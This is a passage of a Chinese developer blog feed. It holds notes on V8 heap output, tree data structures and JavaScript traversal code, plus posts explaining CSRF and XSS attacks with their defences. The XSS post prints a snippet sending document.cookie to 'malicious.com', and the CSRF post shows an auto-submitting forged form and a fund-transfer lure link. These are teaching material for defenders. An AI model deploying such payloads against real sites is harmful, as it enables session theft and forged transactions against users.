</span><span>&lt;</span><span><span>FixedArray</span><span>[</span></span><span>20</span><span>]</span><span>&gt;</span><span> { </span><span>`可索引属性`</span></div></div><div><div><div>12</div></div><div><span><span>           </span></span><span>0</span><span>:</span><span> </span><span>0x3c9d000022fd</span><span> </span><span>&lt;</span><span>the_hole</span><span>&gt;</span></div></div><div><div><div>13</div></div><div><span>           </span><span>1</span><span>: </span><span>0x3c9d00004a4d</span><span> </span><span>&lt;</span><span><span>String</span><span>[</span></span><span>1</span><span><span>]: #</span><span>a</span></span><span>&gt;</span></div></div><div><div><div>14</div></div><div><span>           </span><span>2</span><span>: </span><span>0x3c9d00004a5d</span><span> </span><span>&lt;</span><span><span>String</span><span>[</span></span><span>1</span><span><span>]: #</span><span>b</span></span><span>&gt;</span></div></div><div><div><div>15</div></div><div><span>        </span><span>3</span><span>-</span><span>19</span><span>: </span><span>0x3c9d000022fd</span><span> </span><span>&lt;</span><span>the_hole</span><span>&gt;</span></div></div><div><div><div>16</div></div><div><span><span> </span></span><span>}</span></div></div><div><div><div>17</div></div><div><span>0x3c9d0025a4dd</span><span><span>: [</span><span>Map</span><span>] </span></span><span>in</span><span><span> </span><span>OldSpace</span><span> </span></span><span>`垃圾回收相关-老生代`</span></div></div><div><div><div>18</div></div><div><span> </span><span>-</span><span><span> </span><span>type</span><span>: </span></span><span>JS_OBJECT_TYPE</span></div></div><div><div><div>19</div></div><div><span> </span><span>-</span><span><span> </span><span>instance</span><span> </span><span>size</span><span>: </span></span><span>20</span></div></div><div><div><div>20</div></div><div><span> </span><span>-</span><span><span> </span><span>inobject</span><span> </span><span>properties</span><span>: </span></span><span>2</span><span> </span><span>`对象内属性数量`</span></div></div><div><div><div>21</div></div><div><span> </span><span>-</span><span><span> </span><span>elements</span><span> </span><span>kind</span><span>: </span></span><span>HOLEY_ELEMENTS</span></div></div><div><div><div>22</div></div><div><span> </span><span>-</span><span> </span><span>enum</span><span> </span><span>length</span><span>: invalid</span></div></div><div><div><div>23</div></div><div><span><span> </span></span><span>- back pointer: 0x3c9d0025a495 &lt;Map[20](HOLEY_ELEMENTS)&gt; `transition tree上指针`</span></div></div><div><div><div>24</div></div><div><span><span> </span></span><span>- instance descriptors (own) #2: 0x3c9d0010b509 &lt;DescriptorArray[2]&gt; `描述符数组`</span></div></div><div><div><div>25</div></div><div><span><span> </span></span><span>- prototype: 0x3c9d00244a09 &lt;Object map = 0x3c9d002440c5&gt; `原型`</span></div></div><div><div><div>26</div></div><div><span><span> </span></span><span>- constructor: 0x3c9d002445cd &lt;JSFunction Object (sfi = 0x3c9d00217d3d)&gt; `构造者`</span></div></div><div><div><div>27</div></div><div><span><span> </span></span><span>- dependent code: 0x3c9d000022b9 &lt;Other `heap` object (WEAK_ARRAY_LIST_TYPE)&gt; `存放位置`</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>
<p><strong>可以看到通过d8我们可以看到隐藏类、命名属性、可索引属性、垃圾回收相关内容</strong>。</p>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/tree/</id>
      <title type="text">树</title>
      <published>2025-05-21T00:00:00.000Z</published>
      <updated>2025-05-21T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/tree/"/>
      <summary type="text">数组和链表是所有数据结构的基础。</summary>
      <content type="html"><![CDATA[<p>数组和链表是所有数据结构的基础。</p>
<p>所有连续存储的都是通过数组模拟的，所有非连续存储的都是通过链表模拟的。</p>
<p>可以认为树结构是链表的一种变体。链表也可以看作是树的一种特殊情况——即没有分支的树（或者说是一个退化的树）</p>
<p>树这种结构的问题通常比较适合用递归去解决。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250512145345058.png" alt="image-20250512145345058" /><figcaption>image-20250512145345058</figcaption></figure><p></p>
<p>前端工作中常见的树包括：DOM树，级联选择(菜单导航)，树形控件(文件系统)，组件树</p>
<p>JS中没有树，但是可以用Object和Array构建树。</p>
<p>树的常见操作：<strong>深度/广度优先遍历、先中后序遍历</strong>。</p>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/tree/102%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%B1%82%E5%BA%8F%E9%81%8D%E5%8E%86/</id>
      <title type="text">102. 二叉树的层序遍历</title>
      <published>2025-05-21T00:00:00.000Z</published>
      <updated>2025-05-21T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/tree/102%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%B1%82%E5%BA%8F%E9%81%8D%E5%8E%86/"/>
      <summary type="text">思路就是用BFS(广度优先遍历),用嵌套数组携带层级信息用于判断是哪一层</summary>
      <content type="html"><![CDATA[<p>思路就是用BFS(广度优先遍历),用嵌套数组携带层级信息用于判断是哪一层</p>
<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>levelOrder</span><span> </span><span>=</span><span> </span><span>function</span><span><span> (</span><span>root</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>if</span><span>(</span><span>!</span><span><span>root</span><span>) </span></span><span>return</span><span> []</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>queue</span><span> </span><span>=</span><span><span> [[</span><span>root</span><span>, </span></span><span>0</span><span>]]</span></div></div><div><div><div>5</div></div><div><span>  </span><span>while</span><span><span>(</span><span>queue</span><span>.</span></span><span>length</span><span>) {</span></div></div><div><div><div>6</div></div><div><span>    </span><span>const</span><span> [ </span><span>node</span><span>, </span><span>level</span><span> ] </span><span>=</span><span><span> </span><span>queue</span><span>.</span></span><span>pop</span><span>()</span></div></div><div><div><div>7</div></div><div><span>    </span><span>if</span><span><span>(</span><span>res</span><span>[</span><span>level</span><span>]) {</span></span></div></div><div><div><div>8</div></div><div><span><span>      </span></span><span>res</span><span>[</span><span>level</span><span>].</span><span>push</span><span><span>(</span><span>node</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>10</div></div><div><span><span>      </span></span><span>res</span><span>[</span><span>level</span><span>] </span><span>=</span><span><span> [</span><span>node</span><span>.</span></span><span>val</span><span>]</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span>    </span><span>if</span><span><span>(</span><span>node</span><span>.</span></span><span>right</span><span><span>) </span><span>queue</span><span>.</span></span><span>push</span><span><span>([</span><span>node</span><span>.</span></span><span>right</span><span><span>, </span><span>level</span><span> </span></span><span>+</span><span> </span><span>1</span><span>])</span></div></div><div><div><div>13</div></div><div><span>    </span><span>if</span><span><span>(</span><span>node</span><span>.</span></span><span>left</span><span><span>) </span><span>queue</span><span>.</span></span><span>push</span><span><span>([</span><span>node</span><span>.</span></span><span>left</span><span><span>, </span><span>level</span><span> </span></span><span>+</span><span> </span><span>1</span><span>])</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>15</div></div><div><span>  </span><span>return</span><span><span> </span><span>res</span></span></div></div><div><div><div>16</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/tree/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%85%88%E4%B8%AD%E5%90%8E%E5%BA%8F%E9%81%8D%E5%8E%86/</id>
      <title type="text">二叉树的先中后序遍历</title>
      <published>2025-05-21T00:00:00.000Z</published>
      <updated>2025-05-21T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/tree/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%85%88%E4%B8%AD%E5%90%8E%E5%BA%8F%E9%81%8D%E5%8E%86/"/>
      <summary type="text">递归</summary>
      <content type="html"><![CDATA[<section><h2>先序遍历 根左右<a href="#先序遍历-根左右"><span>#</span></a></h2><p>递归</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>preorderTraversal</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>root</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>dfs</span><span> </span><span>=</span><span><span> (</span><span>root</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>if</span><span><span>(</span><span>root</span><span> </span></span><span>===</span><span> </span><span>null</span><span>) </span><span>return</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>res</span><span>.</span><span>push</span><span><span>(</span><span>root</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>6</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>root</span><span>.</span></span><span>left</span><span>)</span></div></div><div><div><div>7</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>root</span><span>.</span></span><span>right</span><span>)</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>  </span><span>dfs</span><span><span>(</span><span>root</span><span>)</span></span></div></div><div><div><div>10</div></div><div><span>  </span><span>return</span><span><span> </span><span>res</span></span></div></div><div><div><div>11</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>栈</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>preorderTraversal</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>root</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>if</span><span> (</span><span>!</span><span><span>root</span><span>) </span></span><span>return</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>stack</span><span> </span><span>=</span><span><span> [</span><span>root</span><span>];</span></span></div></div><div><div><div>5</div></div><div><span>  </span><span>while</span><span><span> (</span><span>stack</span><span>.</span></span><span>length</span><span> </span><span>&gt;</span><span> </span><span>0</span><span>) {</span></div></div><div><div><div>6</div></div><div><span>    </span><span>const</span><span> </span><span>node</span><span> </span><span>=</span><span><span> </span><span>stack</span><span>.</span></span><span>pop</span><span>();</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>res</span><span>.</span><span>push</span><span><span>(</span><span>node</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>8</div></div><div><span>    </span><span>// 注意：因为栈是LIFO，所以先压入右子节点，再压入左子节点</span></div></div><div><div><div>9</div></div><div><span>    </span><span>if</span><span><span> (</span><span>node</span><span>.</span></span><span>right</span><span><span>) </span><span>stack</span><span>.</span></span><span>push</span><span><span>(</span><span>node</span><span>.</span></span><span>right</span><span>);</span></div></div><div><div><div>10</div></div><div><span>    </span><span>if</span><span><span> (</span><span>node</span><span>.</span></span><span>left</span><span><span>) </span><span>stack</span><span>.</span></span><span>push</span><span><span>(</span><span>node</span><span>.</span></span><span>left</span><span>);</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span>  </span><span>return</span><span><span> </span><span>res</span></span></div></div><div><div><div>13</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>中序遍历 左根右<a href="#中序遍历-左根右"><span>#</span></a></h2><p>递归</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>inorderTraversal</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>root</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>dfs</span><span> </span><span>=</span><span><span> (</span><span>root</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>if</span><span><span>(</span><span>root</span><span> </span></span><span>===</span><span> </span><span>null</span><span>) </span><span>return</span></div></div><div><div><div>5</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>root</span><span>.</span></span><span>left</span><span>)</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>res</span><span>.</span><span>push</span><span><span>(</span><span>root</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>7</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>root</span><span>.</span></span><span>right</span><span>)</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>  </span><span>dfs</span><span><span>(</span><span>root</span><span>)</span></span></div></div><div><div><div>10</div></div><div><span>  </span><span>return</span><span><span> </span><span>res</span></span></div></div><div><div><div>11</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>后序遍历 左右根<a href="#后序遍历-左右根"><span>#</span></a></h2><p>递归</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>postorderTraversal</span><span> </span><span>=</span><span> </span><span>function</span><span><span>(</span><span>root</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span> []</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>dfs</span><span> </span><span>=</span><span><span> (</span><span>root</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>if</span><span><span>(</span><span>root</span><span> </span></span><span>===</span><span> </span><span>null</span><span>) </span><span>return</span></div></div><div><div><div>5</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>root</span><span>.</span></span><span>left</span><span>)</span></div></div><div><div><div>6</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>root</span><span>.</span></span><span>right</span><span>)</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>res</span><span>.</span><span>push</span><span><span>(</span><span>root</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>  </span><span>dfs</span><span><span>(</span><span>root</span><span>)</span></span></div></div><div><div><div>10</div></div><div><span>  </span><span>return</span><span><span> </span><span>res</span></span></div></div><div><div><div>11</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/algorithm/tree/%E6%B7%B1%E5%BA%A6%E4%BC%98%E5%85%88%E5%92%8C%E5%B9%BF%E5%BA%A6%E4%BC%98%E5%85%88%E9%81%8D%E5%8E%86/</id>
      <title type="text">树的深度优先和广度优先遍历</title>
      <published>2025-05-21T00:00:00.000Z</published>
      <updated>2025-05-21T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/algorithm/tree/%E6%B7%B1%E5%BA%A6%E4%BC%98%E5%85%88%E5%92%8C%E5%B9%BF%E5%BA%A6%E4%BC%98%E5%85%88%E9%81%8D%E5%8E%86/"/>
      <summary type="text">以看书为例理解树的深度优先遍历（DFS）和广度优先遍历（BFS），以及 JavaScript 实现。</summary>
      <content type="html"><![CDATA[<p>以看书为例子
深度优先遍历就是看第一章节然后和第一章节内容，然后看完第一章节再看第二章节以及内容。
广度优先遍历就是先看标题&gt;&gt;所有目录&gt;&gt;所有小节&gt;&gt;内容。</p>
<section><h2>深度优先遍历(DFS)<a href="#深度优先遍历dfs"><span>#</span></a></h2><ol>
<li>访问根节点。</li>
<li>对根节点的children挨个进行深度优先遍历。</li>
</ol><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250512161044962.png" alt="image-20250512161044962" /><figcaption>image-20250512161044962</figcaption></figure><p></p><p>递归</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>dfs</span><span> </span><span>=</span><span><span> (</span><span>root</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>if</span><span><span>(</span><span>root</span><span> </span></span><span>===</span><span> </span><span>null</span><span>) </span><span>return</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>root</span><span>.</span><span>children</span><span>.</span><span>forEach</span><span><span>(</span><span>leaf</span><span> </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>leaf</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>5</div></div><div><span>    </span><span>dfs</span><span><span>(</span><span>leaf</span><span>)</span></span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>})</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>栈</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>dfs</span><span> </span><span>=</span><span><span> (</span><span>root</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>if</span><span><span>(</span><span>root</span><span> </span></span><span>===</span><span> </span><span>null</span><span>) </span><span>return</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>stack</span><span> </span><span>=</span><span><span> [</span><span>root</span><span>]</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>while</span><span><span>(</span><span>stack</span><span>.</span></span><span>length</span><span> </span><span>&gt;</span><span> </span><span>0</span><span>) {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>const</span><span> </span><span>node</span><span> </span><span>=</span><span><span> </span><span>stack</span><span>.</span></span><span>pop</span><span>();</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>node</span><span>.</span></span><span>val</span><span>)</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>node</span><span>.</span><span>children</span><span>.</span><span>forEach</span><span><span>(</span><span>leaf</span><span> </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>8</div></div><div><span><span>      </span></span><span>stack</span><span>.</span><span>push</span><span><span>(</span><span>leaf</span><span>)</span></span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>})</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>广度优先遍历(BFS)<a href="#广度优先遍历bfs"><span>#</span></a></h2><ol>
<li>
<p>新建一个队列，把根节点入队。</p>
</li>
<li>
<p>遍历队列</p>
<ul>
<li>
<p>把队头出队并访问。</p>
</li>
<li>
<p>把队头的children 挨个入队。</p>
</li>
</ul>
</li>
</ol><p>重复2，直到队列为空。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250512163432700.png" alt="image-20250512163432700" /><figcaption>image-20250512163432700</figcaption></figure><p></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>bfs</span><span> </span><span>=</span><span><span> (</span><span>root</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>if</span><span> (</span><span>!</span><span><span>root</span><span>) </span></span><span>return</span><span>;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>    </span><span>const</span><span> </span><span>queue</span><span> </span><span>=</span><span><span> [</span><span>root</span><span>];</span></span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>    </span><span>while</span><span><span> (</span><span>queue</span><span>.</span></span><span>length</span><span> </span><span>&gt;</span><span> </span><span>0</span><span>) {</span></div></div><div><div><div>7</div></div><div><span>        </span><span>const</span><span> </span><span>node</span><span> </span><span>=</span><span><span> </span><span>queue</span><span>.</span></span><span>shift</span><span>();</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>node</span><span>.</span></span><span>val</span><span>);</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span><span>        </span></span><span>node</span><span>.</span><span>children</span><span>.</span><span>forEach</span><span><span>(</span><span>leaf</span><span> </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>11</div></div><div><span><span>          </span></span><span>queue</span><span>.</span><span>push</span><span><span>(</span><span>leaf</span><span>);</span></span></div></div><div><div><div>12</div></div><div><span><span>        </span></span><span>});</span></div></div><div><div><div>13</div></div><div><span><span>      </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/security/csrf/</id>
      <title type="text">CSRF攻击 - 陌生链接</title>
      <published>2025-05-15T00:00:00.000Z</published>
      <updated>2025-05-15T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/security/csrf/"/>
      <summary type="text">全称 Cross-site request forgery 跨站请求伪造, 就是黑客引诱已经登录的用户打开黑客的网站, 然后在黑客网站中利用用户的登录状态来发起…</summary>
      <content type="html"><![CDATA[<p>全称 Cross-site request forgery 跨站请求伪造, 就是黑客引诱已经登录的用户打开黑客的网站, 然后在黑客网站中利用用户的登录状态来发起的跨站请求.</p>
<p>简单说CSRF攻击就是黑客利用用户的登录状态,  通过第三方站点来做坏事</p>
<section><h3>攻击方式<a href="#攻击方式"><span>#</span></a></h3><p><strong>1.自动发起Get请求</strong></p><p>比如此时你处于登录状态, 然后你打开了一个恶意链接, 这个链接的页面有一张图片, 图片的src就是一个Get请求, 当你打开这个链接的时候,  就会自动加载图片的src, 同时也执行了这个Get请求</p><p><strong>2.自动发起Post请求</strong></p><p>当用户打开黑客的页面之后,  会自动提交POST请求</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;html&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;body&gt;</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>&lt;h1&gt;黑客的站点：CSRF攻击演示&lt;/h1&gt;</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>&lt;form&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;input /&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;input /&gt;</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>&lt;/form&gt;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>&lt;script&gt; document.getElementById('hacker-form').submit(); &lt;/script&gt;</span></div></div><div><div><div>9</div></div><div><span>&lt;/body&gt;</span></div></div><div><div><div>10</div></div><div><span>&lt;/html&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>3.引诱用户点击链接</strong></p><p>除了Get和Post之外, 还有一种是引诱用户点击黑客站点的链接, 经常出现在论坛和恶意邮件中, 比如有一个美女图片</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;div&gt;</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>&lt;img width="150" src="http://images.xuejuzi.cn/1612/1_161230185104_1.jpg" /&gt;  &lt;/div&gt; &lt;div&gt;</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>&lt;a href="https://time.geekbang.org/sendcoin?user=hacker&amp;amp;number=100"&gt;</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>点击下载美女照片</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>&lt;/a&gt;</span></div></div><div><div><div>6</div></div><div><span>&lt;/div&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>以上就是CSRF攻击, 和XSS不同, CSRF不需要将恶意代码注入用户页面, 只是利用服务器漏洞和用户的登录状态来攻击.</p></section>
<section><h3>如何预防<a href="#如何预防"><span>#</span></a></h3><p>首先了解如何才能发起CSRF攻击, 第一要找到服务器漏洞, 第二需要用户保持登录状态,  第三要打开第三方站点,  满足这些条件黑客就可以对用户进行CSRF攻击了</p><p>有这么几个途径来预防</p><p>1.<strong>利用Cookie的SameSite属性</strong></p><p>黑客利用用户的登录态进行攻击, Cookie就是浏览器和服务器之间维护登录状态的一个关键数据, 通常CSRF攻击都是从第三方站点发起的, <strong>可以通过服务端设置响应头上添加set-cookie的属性SameSite来解决, 这样再第三方站点发起请求时请求头就不会带着Cookie</strong> .</p><p>SameSite的目的就是限制第三方网站利用Cookie发起请求, 设置了三种值 Strict/Lax/None</p><p>2.<strong>验证请求的来源站点</strong></p><p>在服务端验证请求来源的站点,  <strong>服务器可以通过HTTP的请求头里的Referer和Origin属性来判断是否是第三方站点, 如果判断是第三方站点就直接禁止</strong></p><p>Referer是HTTP请求头中的一个字段, 记录了该HTTP请求的来源地址, Referer可以告诉服务器HTTP的请求来源, 但是有些场景不适合将来源URL暴露给服务器,  因此浏览器提供给开发者一个选项, 可以不用上传Referer值.标准委员会又指定了Origin属性, 和Referer不同的是不包含路径信息. 因为有些站点出于安全考虑不愿意暴露源站点的详细路径信息.</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250515081704449.png" alt="image-20250515081704449" /><figcaption>image-20250515081704449</figcaption></figure><p></p><p>因此服务器的策略是优先判断Origin, 如果没有Origin , 再根据情况判断是否判断Referer值.</p><p><strong>3.CSRF Token</strong></p><p>token认证可以避免CSRF攻击
就是在浏览器向服务器发送请求的时候, 服务器生成一个Token, 其实就是服务器生成的一个字符串, 每次发起请求时Token需嵌入到请求参数或头中（如隐藏表单字段、AJAX请求头），服务端验证token是否合法,  如果是<strong>第三方站点发出的请求就无法获取到token的值所以会被服务器拒绝</strong>,</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/security/xss/</id>
      <title type="text">浏览器安全-XSS攻击</title>
      <published>2025-05-14T00:00:00.000Z</published>
      <updated>2025-05-14T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/security/xss/"/>
      <summary type="text">全称Cross Site Scripting 就是跨网站脚本</summary>
      <content type="html"><![CDATA[<p>全称Cross Site Scripting 就是跨网站脚本</p>
<p>也就是<strong>恶意程序往HTML文件中插入JS代码</strong></p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250514081323643.png" alt="image-20250514081323643" /><figcaption>image-20250514081323643</figcaption></figure><p></p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>onClick</span><span>(){</span></div></div><div><div><div>2</div></div><div><span>  </span><span>let</span><span><span> </span><span>url</span><span> </span></span><span>=</span><span> </span><span>`http://malicious.com?cookie = </span><span>${</span><span>document</span><span>.</span><span>cookie</span><span>}</span><span>`</span></div></div><div><div><div>3</div></div><div><span>  </span><span>open</span><span><span>(</span><span>url</span><span>)</span></span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span>onClick</span><span>()</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<section><h3>攻击方式<a href="#攻击方式"><span>#</span></a></h3><ul>
<li>
<p>恶意脚本可以通过document.cookies窃取用户的 Cookie 数据，并将其作为参数添加至恶意站点尾部发送到黑客服务器中</p>
</li>
<li>
<p>可以通过监听用户行为获取用户输入的信用卡信息并发送给恶意服务器,  用的是JavaScript中的<code>addEventListener</code> 监听用户的键盘事件</p>
</li>
<li>
<p>可以通过修改DOM制造假的登录窗口, 欺骗用户输入用户名和密码等信息.</p>
</li>
<li>
<p>可以页内生成浮窗广告, 影响用户体验</p>
</li>
</ul><p><strong>这就是XSS攻击, 为了解决XSS攻击, 浏览器引入了内容安全策略, 称为CSP, CSP的核心思想就是让服务器可以决定浏览器加载哪些资源, 让服务器决定浏览器是否执行内联JavaScript代码.  这样就可以大大减少XSS攻击</strong></p></section>
